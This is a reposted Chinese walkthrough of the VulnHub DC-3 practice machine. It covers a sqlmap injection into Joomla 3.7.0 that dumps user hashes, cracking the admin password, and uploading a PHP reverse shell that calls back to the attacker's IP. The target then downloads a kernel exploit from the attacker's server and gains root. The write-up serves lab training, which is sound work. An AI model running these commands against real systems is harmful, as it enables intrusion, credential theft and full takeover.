靶机系列|VULNHUB|DC-3

news2025/1/6 9:46:24

描述

DC-3 是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。

与之前的 DC 版本一样,这个版本的设计考虑到了初学者,尽管这一次只有一个标志、一个入口点,根本没有线索。

必须具备 Linux 技能和熟悉 Linux 命令行,以及具备一些基本渗透测试工具的经验。

对于初学者,Google 可以提供很大的帮助,但您可以随时在 @DCAU7 上向我发送电子邮件以寻求帮助,让您重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。

对于那些有 CTF 和 Boot2Root 挑战经验的人来说,这可能根本不会花你很长时间(事实上,你可以轻松地用不到 20 分钟)。

如果是这样的话,并且您希望它更具挑战性,您可以随时重做挑战并探索其他获得root和获得旗帜的方法。

Tips

如果你在导入时,出现了如下图所示错误

image.png

可以进入VMware虚拟机的设置中,选中CD/DVD栏的高级

image.png

在高级中,将IDEIDE 0:1换成IDE 0:0即可正常开机

image.png

下载链接

https://download.vulnhub.com/dc/DC-3-2.zip

https://pan.baidu.com/s/1nzEggtJOkAiXlaI5n_mWpA?pwd=wh9x

攻击流程

第一步,扫描局域网内的主机,确定靶机ip

sudo arp-scan -l
image.png

根据扫描结果可知,192.168.64.1192.168.64.2都是网关地址,而192.168.64.254是广播地址,所以靶机IP是192.168.64.138

arp-scan -l 命令是用来进行局域网内ARP扫描的一个参数配置,命令中的 -l 参数意味着以“长格式”(long format)输出扫描结果。这种格式通常提供更详细的信息,比如设备的MAC地址、IP地址、厂商信息(根据MAC地址前缀推断出的设备制造商)等。

对靶机ip进行全端口扫描

nmap -p- 192.168.64.138
image.png

发现80端口开放,用whatweb收集一下网站信息

whatweb -v 192.168.64.128
image.png

通过扫描,识别到了CMS信息,是Joomla,也是一个比较知名的框架,和WorldPress一样,Joomla也有对应的扫描工具,是joomscan,这个工具并未预装在kali中,所以需要手动安装一下

sudo apt-get install joomscan -y

安装完成之后,即可开始扫描

joomscan -u http://192.168.64.128
image.png

通过扫描,获得了两个比较有效的信息,第一个是版本信息,Joomla 3.7.0,后续可以针对版本搜索漏洞进行攻击;第二个是管理员页面,也就是网站后台的登陆页面,可以去做类似于SQL注入、弱口令之类的尝试。

利用工具搜索Joomla 3.7.0版本的漏洞

searchsploit joomla 3.7.0
image.png

搜索到两个,但明显第一个匹配的关键词更多,查看一下搜索到的文档

searchsploit -p 42033.txt
image.png

获得了文档的详细路径,用记事本打开

image.png

可以看到一个SQL注入的payload

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

这条命令使用了 sqlmap 工具,它是一个自动化的 SQL 注入和数据库接管工具,用于测试 Web 应用的安全漏洞。下面是这条命令的详细解释:

  • sqlmap:这是命令行工具的名称,用于执行 SQL 注入测试。

  • -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml":这个参数指定了要测试的目标 URL。

  • list[fullordering]=updatexml 部分看起来是尝试利用 SQL 注入的点。通常,这种参数名(如 list[fullordering])可能暗示了某种排序功能

  • updatexml 可能是在尝试利用特定的 SQL 函数来触发错误,从而泄露数据库信息。

  • --risk=3:这个参数设置了测试的风险等级。sqlmap 的风险等级从 1 到 3,等级越高,工具尝试的注入技术越危险,可能会导致目标系统的不稳定或数据损坏。等级 3 表示将尝试所有可能的技术,包括那些可能导致服务拒绝的技术。

  • --level=5:这个参数设置了测试的深度或详尽程度。sqlmap 的测试级别从 1 到 5,级别越高,工具执行的测试越全面,包括更多的请求和更深入的探测。级别 5 表示执行最全面的测试。

  • --random-agent:这个参数指示 sqlmap 在每个请求中使用随机的 HTTP 用户代理(User-Agent)字符串。这有助于避免因为使用相同的用户代理而被目标系统的防火墙或入侵检测系统(IDS)识别出来。

  • --dbs:这个参数告诉 sqlmap 枚举目标数据库的所有数据库名称。

  • -p list[fullordering]:这个参数指定了要测试的参数名。在这个例子中,它告诉 sqlmap 只对 list[fullordering] 这个参数进行 SQL 注入测试。

需要注意的是,如果这条命令的执行环境不是/bin/bash的话,可能会报错

image.png

这个时候只需要通过命令bash切换一下命令执行环境即可解决报错。

image.png

成功爆出库名

image.png

下一步爆表名

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent  -p list[fullordering] -D joomladb --tables
image.png

下一步查看"#__users"表里的列

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent  -p list[fullordering] -D joomladb -T '#__users' --columns 

在爆列名的时候,有一点要注意,当出现do you want to use common column existence check?时,需要输入y,而不是敲回车。

image.png

在敲完回车之后,出现的选项,可以任选

image.png

一般选择default选项即可,选择完成之后,提示可以填入线程数,这里我直接回车,用默认的单线程跑了。

成功拿到列名

image.png

继续深入,查看usernamepassword的相关信息

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent  -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
image.png

查询到了用户名和密码,但是密码显然是被哈希加密了,用爆破工具john试试运气。

首先将这一段字符串复制到文件中

image.png

然后利用john工具爆破密码,通过--show参数,直接显示爆破出的密码

image.png

如此一来,就拿到了管理员的用户名和密码了

admin
snoopy

结合之前扫描到的管理员登录页面http://192.168.64.128/administrator/,直接登录。

登录成功之后,发现一个上传点

image.png image.png

在这个模板下,创建一个php文件,用以反弹shell

image.png

直接使用kali自带的php的webshell代码进行反弹shell的操作,源码路径是

/usr/share/webshells/php/php-reverse-shell.php

需要修改一下监听的IP

$IP = '192.168.64.129'; //攻击机的ip
$PORT = 12345; //监听的端口

修改完成之后,将源码全部复制到之前创建的php文件中保存。

image.png

保存好代码之后,还需要访问一下php文件,访问路径的构成是这样的:

  1. joomla的模板库默认在/templates目录下;
  2. 当前模板名字为beez3
  3. 脚本文件保存至html目录下
  4. 脚本文件名字为shell.php

所以,最终拼出来的路径为

http://192.168.64.128/templates/beez3/html/shell.php
image.png

在访问文件之前,kali开启监听

image.png

成功上线

image.png

创建一个交互式的shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

这条命令是在Python环境中使用的一个技巧,用于启动一个伪终端(pseudo-terminal),并在这个伪终端中运行bash shell。这个技巧通常用于在受限的环境中获取一个更完整的命令行界面,尤其是在某些类型的服务器或者容器环境中,当你可能只有Python解释器可用时。下面是对这个命令的详细解释:

  • python3 -c:这部分告诉系统使用Python 3执行接下来的字符串中的Python代码。-c选项允许你直接在命令行中运行Python代码,而不是运行一个Python脚本文件。

  • import pty:这行代码导入了Python的pty模块。pty模块提供了对伪终端的支持,允许你创建一个伪终端对(master和slave),这可以用于实现终端仿真。

  • pty.spawn("/bin/bash"):这行代码使用pty模块的spawn函数启动了一个新的进程,这个进程运行/bin/bash,即Bash shell。spawn函数会创建一个伪终端对,并将子进程的标准输入、输出和错误输出连接到伪终端的slave端,而master端则连接到当前进程(即运行这个Python命令的进程)。这样,你就可以通过当前进程的输入输出与Bash shell交互了。

查看系统信息,为提权做准备

image.png

通过searchsploit搜索Ubuntu 16.04相关的提权漏洞

searchsploit ubuntu 16.04 Privilege Escalation

“Privilege Escalation”的翻译为“权限提升”或“提权”

image.png

选择用4.4.x尝试一下,首先查看一下这个文件的位置

searchsploit -p 39772.txt
image.png

然后打开这个文件,可以获取到exp的下载地址

image.png
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

kali通过wget可以下载

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
image.png

下载完成之后,kali通过python开启网络服务

python3 -m http.server

在Python 3中,python3 -m http.server命令用于快速启动一个简单的HTTP服务器,该服务器可以用来共享文件或者进行简单的web开发测试。这个命令实际上是在调用Python标准库中的http.server模块来创建一个HTTP服务器。

当你运行python3 -m http.server时,默认情况下,服务器会在当前目录下启动,并监听所有可用的网络接口上的8000端口。你可以通过浏览器访问http://<your-ip>:8000来查看当前目录下的文件和文件夹(以网页形式展示)

这个命令还有一些可选参数:

  • port(或p):指定服务器监听的端口号。例如,python3 -m http.server 8080会在8080端口上启动服务器。
  • directory(或d):指定服务器要服务的根目录。如果不指定,默认为当前工作目录。
image.png

记住这个路径,靶机需要通过这个路径下载提权文件

http://192.168.64.129:8000/39772/exploit.tar

靶机想下载文件,需要切换到一个可写入的目录,例如之前写入webshell的目录

/var/www/html/templates/beez3

切换到这个目录下,通过命令下载

cd /var/www/html/templates/beez3
wget http://192.168.64.129:8000/39772/exploit.tar
image.png

下载完毕,解压

tar -xvf exploit.tar
image.png

切换到目录下,执行脚本

脚本执行的顺序在39772.txt文件中有说明

image.png
user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)
image.png

提权成功

image.png

拿到flag,打完收工!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2271128.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

sqlserver sql转HTMM邮件发送

通过sql的形式&#xff0c;把表内数据通过邮件的形式发送出去 declare title varchar(100) DECLARE stat_date CHAR(10),create_time datetime SET stat_dateCONVERT(char(10),GETDATE(),120) SET create_timeDATEADD(MINUTE,-20,GETDATE()) DECLARE xml NVARCHAR (max) DECLAR…

MCU芯片是什么意思_有哪些作用?

MCU(Microcontroller Unit)芯片&#xff0c;即微控制单元&#xff0c;是一种集成了中央处理器(CPU)、存储器(ROM、RAM)以及各种外设接口(如输入输出引脚、定时器、串口等)的集成电路芯片。它通过超大规模集成电路技术&#xff0c;将具有数据处理能力的中央处理器、随机存储器、…

朱姆沃尔特隐身战舰:从失败到威慑

前言 "朱姆沃尔特"号驱逐舰是美国海军雄心勃勃的项目&#xff0c;旨在重塑未来海战。它融合了隐身、自动化和强大火力&#xff0c;然而由于技术问题和预算超支&#xff0c;原计划建造32艘的目标被大幅缩减&#xff0c;最终只建造了三艘。该舰的设计特点包括“穿浪逆船…

【虚拟机】VMware 16图文安装和配置 AlmaLinux OS 9.5 教程

准备工作 下载AlmaLinux ISO文件&#xff1a;从AlmaLinux官方网站&#xff08;https://almalinux.org/&#xff09;下载最新版本的ISO文件。 安装VMware Workstation&#xff1a;确保您的计算机上已安装VMware Workstation。&#xff08;注&#xff1a;我这边使用的是VMware16…

【论文阅读】SCGC : Self-supervised contrastive graph clustering

论文地址&#xff1a;SCGC : Self-supervised contrastive graph clustering - ScienceDirect 代码地址&#xff1a; https://github.com/gayanku/SCGC 摘要 图聚类旨在发现网络中的群体或社区。越来越多的模型使用自编码器&#xff08;autoencoders&#xff09;结合图神经网…

如何利用Logo设计免费生成器创建专业级Logo

在当今的商业世界中&#xff0c;一个好的Logo是品牌身份的象征&#xff0c;它承载着公司的形象与理念。设计一个专业级的Logo不再需要花费大量的金钱和时间&#xff0c;尤其是当我们拥有Logo设计免费生成器这样的工具时。接下来&#xff0c;让我们深入探讨如何利用这些工具来创…

蓝桥杯-Python

1. 冒泡排序 算法步骤&#xff1a; 比较相邻元素&#xff0c;如果第一个大于第二个则交换从左往右遍历一遍&#xff0c;重复第一步&#xff0c;可以保证最大的元素在最后面重复上述操作&#xff0c;可以得到第二大、第三大、… n int(input()) a list(map(int, input()…

数据库实时会话管理,性能问题诊断后的临门一脚

目录 前言 实时会话管理 DBdoctor 实时会话功能 1.实时会话列表 2.结束会话 3.操作历史 4.SQL分析 结语 前言 在之前的文章中我们介绍了DBdoctor性能洞察功能&#xff0c;它能够快速量化数据库连接会话单条SQL的资源消耗&#xff0c;实现性能问题快速根因定位并给出优…

GBase 8s 数据库备份还原

每一天都是一个新的篇章&#xff0c;等待着你去书写属于自己的故事&#xff01;&#xff01;&#xff01; 一&#xff1a;备份 1.1.下载脚本文件&#xff0c;并上传到数据库服务器上相应目录。 解压后目录为&#xff1a; 说明&#xff1a; dbcomm.sh&#xff1a;导出注释脚本…

PHP框架+gatewayworker实现在线1对1聊天--发送消息(6)

文章目录 发送消息原理说明发送功能实现html部分javascript代码PHP代码 发送消息原理说明 接下来我们发送聊天的文本信息。点击发送按钮的时候&#xff0c;会自动将文本框里的内容发送出去。过程是我们将信息发送到服务器&#xff0c;服务器再转发给对方。文本框的id为msgcont…

DuckDB:密钥管理器及其应用

密钥管理器(Secrets Manager)为所有使用密钥的后端提供了统一的用户界面。密钥信息可以被限定范围&#xff0c;因此不同的存储前缀可以有不同的密钥信息&#xff0c;例如允许在单个查询中连接跨组织的数据。密钥也可以持久化&#xff0c;这样就不需要在每次启动DuckDB时都指定它…

告别Kibana:Elasticsearch 桌面客户端的新变革

告别Kibana&#xff1a;Elasticsearch 桌面客户端的新变革 在大数据处理与分析领域&#xff0c;Elasticsearch 及其相关技术的应用日益广泛。长期以来&#xff0c;Kibana 在数据可视化与查询管理方面占据重要地位&#xff0c;但随着技术的不断发展&#xff0c;用户对于更高效、…

模块化通讯管理机在物联网系统中的应用

安科瑞刘鸿鹏 摘要 随着能源结构转型和智能化电网的推进&#xff0c;电力物联网逐渐成为智能电网的重要组成部分。本文以安科瑞ANet系列智能通信管理机为例&#xff0c;探讨其在电力物联网中的应用&#xff0c;包括数据采集、规约转换、边缘计算、远程控制等技术实践&#…

AAAI 2025论文分享┆一种接近全监督的无训练文档信息抽取方法:SAIL(文中附代码链接)

本推文详细介绍了一篇上海交通大学乐心怡老师课题组被人工智能顶级会议AAAI 2025录用的的最新论文《SAIL: Sample-Centric In-Context Learning for Document Information Extraction》。论文的第一作者为张金钰。该论文提出了一种无需训练的、以样本为中心的、基于上下文学习的…

SAP物料主数据界面增加客制化字段、客制化页签的方式

文章目录 前言一、不增加页签&#xff0c;只增加客制化字段二、增加物料主数据页签 前言 【SAP系统MM模块研究】 #SAP #MM #物料 #客制化 #物料主数据 项目上难免会遇到客户要在物料主数据的界面上&#xff0c;增加新字段的需求。 实现方式有&#xff1a; &#xff08;1&…

ROS2软件架构全面解析-学习如何设计通信中间件框架

前言 ROS&#xff08;Robot Operating System&#xff09; 2 是一个用于开发机器人应用的软件平台&#xff0c;也称为机器人软件开发工具包 (SDK)。 ROS2是ROS1的迭代升级版本 &#xff0c;最主要的升级点是引入DDS&#xff08;Data Distribution Service&#xff09;为基础的…

接口自动化测试流程、工具及其实践

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 一、接口自动化测试简介 接口自动化测试是指通过编写脚本或使用自动化工具&#xff0c;对软件系统的接口进行测试的过程。接口测试是软件测试中的一种重要测试类…

香橙派5plus单独编译并安装linux内核无法启动的原因分析与解决记录

1 说明 我依照官方手册编译单独编译linux内核&#xff0c;安装后重启出现内核启动失败的问题,编译和安装步骤如下&#xff1a;# 1. 克隆源码 git clone --depth1 -b orange-pi-6.1-rk35xx https://github.com/orangepi-xunlong/linux-orangepi# 2 配置源码 make rockchip_linu…

数据库知识汇总1

一. 数据库系统概述 信息需要媒体&#xff08;文本、图像视频等&#xff09;表现出来才能被人类所获取&#xff0c;媒体可以转换成比特或者符号&#xff0c;这些称为数据&#xff1b; 数据/信息的特点&#xff1a;爆炸式增长、无限复制、派生&#xff1b; 数据库是指长期长期…

Win32汇编学习笔记03.RadAsm和补丁

Win32汇编学习笔记03.RadAsm和补丁-C/C基础-断点社区-专业的老牌游戏安全技术交流社区 - BpSend.net 扫雷游戏啊下补丁 在扫雷游戏中,点关闭弹出一个确认框,确认之后再关闭,取消就不关闭 首先第一步就是确认关闭按钮响应的位置,一般都是 WM_CLOSE 的消息 ,消息响应一般都在过…